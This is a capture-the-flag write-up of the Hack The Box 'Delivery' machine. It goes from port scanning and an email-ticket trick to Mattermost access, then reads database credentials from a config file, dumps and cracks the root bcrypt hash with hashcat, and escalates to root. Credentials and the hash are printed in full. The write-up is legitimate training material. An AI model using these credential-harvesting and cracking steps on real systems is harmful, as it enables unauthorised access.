Posts Hack The Box - Delivery
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Hack The Box - Delivery

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

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$ echo "10.10.10.222 delivery.htb" | sudo tee -a /etc/hosts

Reconnaissance

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$ nmap -sT -sV -sC -Pn -p- delivery.htb                                            130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-10 05:54 EST
Nmap scan report for delivery.htb (10.10.10.222)
Host is up (0.0099s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
8065/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Sun, 10 Jan 2021 08:42:24 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: s5qoxo1kepgz8mon3oj1utj6ya
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Sun, 10 Jan 2021 10:54:41 GMT
|     <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Date: Sun, 10 Jan 2021 10:54:41 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8065-TCP:V=7.91%I=7%D=1/10%Time=5FFADCF1%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,DF3,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\
SF:x20bytes\r\nCache-Control:\x20no-cache,\x20max-age=31556926,\x20public\
SF:r\nContent-Length:\x203108\r\nContent-Security-Policy:\x20frame-ancesto
SF:rs\x20'self';\x20script-src\x20'self'\x20cdn\.rudderlabs\.com\r\nConten
SF:t-Type:\x20text/html;\x20charset=utf-8\r\nLast-Modified:\x20Sun,\x2010\
SF:x20Jan\x202021\x2008:42:24\x20GMT\r\nX-Frame-Options:\x20SAMEORIGIN\r\n
SF:X-Request-Id:\x20s5qoxo1kepgz8mon3oj1utj6ya\r\nX-Version-Id:\x205\.30\.
SF:0\.5\.30\.1\.57fb31b889bf81d99d8af8176d4bbaaa\.false\r\nDate:\x20Sun,\x
SF:2010\x20Jan\x202021\x2010:54:41\x20GMT\r\n\r\n<!doctype\x20html><html\x
SF:20lang=\"en\"><head><meta\x20charset=\"utf-8\"><meta\x20name=\"viewport
SF:\"\x20content=\"width=device-width,initial-scale=1,maximum-scale=1,user
SF:-scalable=0\"><meta\x20name=\"robots\"\x20content=\"noindex,\x20nofollo
SF:w\"><meta\x20name=\"referrer\"\x20content=\"no-referrer\"><title>Matter
SF:most</title><meta\x20name=\"mobile-web-app-capable\"\x20content=\"yes\"
SF:><meta\x20name=\"application-name\"\x20content=\"Mattermost\"><meta\x20
SF:name=\"format-detection\"\x20content=\"telephone=no\"><link\x20re")%r(H
SF:TTPOptions,5B,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nDate:\x2
SF:0Sun,\x2010\x20Jan\x202021\x2010:54:41\x20GMT\r\nContent-Length:\x200\r
SF:\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close
SF:\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.44 seconds

Enumeration (1)

Port 80 nginx 1.14.2

Clicking on the CONTRACT US button shows this:

The underlined HelpDesk brings us to another domain helpdesk.delivery.htb so lets add that to our /etc/hosts.

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$ cat /etc/hosts
...
10.10.10.222 delivery.htb helpdesk.delivery.htb

It seems that osTicket is running on this domain. The Contact Us message says to use this website to get in touch with our team so lets try opening a new ticket by clicking on the Open a New Ticket button.

After filling up the fields marked with a red asterisk and hitting Create a New Ticket,

we have successfully created a support ticket. Note about the ticket id and especially the last bit If you want to add more information to your ticket, just email 1339336@delivery.htb. The Contact Us message did say as long we have a @deliveryhtb email, we could access the Mattermost server on port 8065. However, as there was no mail services running, I wasn’t sure how these would all click together.

Lets try check the status of our ticket by clicking on Check Ticket Status in the navbar.

After filling the email address that we used and the ticket id assigned to us,

we can view our support ticket thread but there are no responses yet.

Port 8065 Mattermost

Mattermost was running on port 8065. We didn’t have any credentials so lets create an account. The Contact Us email said to use a @delivery.htb email so lets use the one we already have. After register with that email,

A confirmation email is sent and it was received in our support ticket thread! Turns out any email sent to our @delivery.htb email that we have will have its contents appended to this support ticket thread.

After clicking on the verification link, we see that we have successfully verified our account.

Logging in with the credentials we registered with, we see that there is already a team called Internal that we can join.

There were a few messages in the chat:

The root user had left the credentials of the maildeliverer account! He also talked about not using a password that is a variant of PleaseSubscribe!. Maybe we are suppose to find a hash and crack it?

Port 22 OpenSSH 7.9p1

Using the maildeliverer:Youve_G0t_Mail! credentials we found, we can ssh as maildeliverer.

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$ ssh maildeliverer@delivery.htb
Warning: Permanently added the ECDSA host key for IP address '10.10.10.222' to the list of known hosts.
maildeliverer@delivery.htb's password: Youve_G0t_Mail!
maildeliverer@Delivery:~$ id 
uid=1000(maildeliverer) gid=1000(maildeliverer) groups=1000(maildeliverer)

user.txt

The user flag is in the home directory of maildeliverer.

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maildeliverer@Delivery:~$ cat user.txt
730aXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

Since there was a root user with the email root@delivery.htb in the Mattermost server, lets check out its config files for any juicy information. Its config settings are stored in /opt/mattermost/config/config.json.

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maildeliverer@Delivery:/opt/mattermost/config$ cat config.json
...
    "SqlSettings": {
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",

We spotted some MySQL credentials! The Crack_The_MM_Admin_PW is probably telling us to find a hash of the root account from the Mattermost’s database and crack it!

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maildeliverer@Delivery:/opt/mattermost/config$ mysql -ummuser -p
Enter password: Crack_The_MM_Admin_PW

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+

MariaDB [mattermost]> select Username, Password,Email   from Users where Username="root";
+----------+--------------------------------------------------------------+-------------------+
| Username | Password                                                     | Email             |
+----------+--------------------------------------------------------------+-------------------+
| root     | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | root@delivery.htb |
+----------+--------------------------------------------------------------+-------------------+

Nice, we got the password hash of root! Now we just need to crack it. root’s message in Internal’s chat said something using a variant of PleaseSubscribe!, hence we will need to perform some form of mutation to the password. I made use of a hashcat rule file that I found online to crack the password. It took a while, but it was able to crack the hash.

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$ echo "\$2a\$10\$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO" > hash.txt
$ echo "PleaseSubscribe!" > wordlist.txt
$ hashcat -m 3200 -a 0 -r OneRuleToRuleThemAll.rule hash.txt wordlist.txt
...
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21
...

If we su to root with the password, we see that we have a shell as root!

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maildeliverer@Delivery:/opt/mattermost/config$ su
Password: PleaseSubscribe!21
root@Delivery:/opt/mattermost/config# id
uid=0(root) gid=0(root) groups=0(root)

root.txt

The root flag is located at /root as always.

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root@Delivery:/opt/mattermost/config# cat /root/root.txt
9b69XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.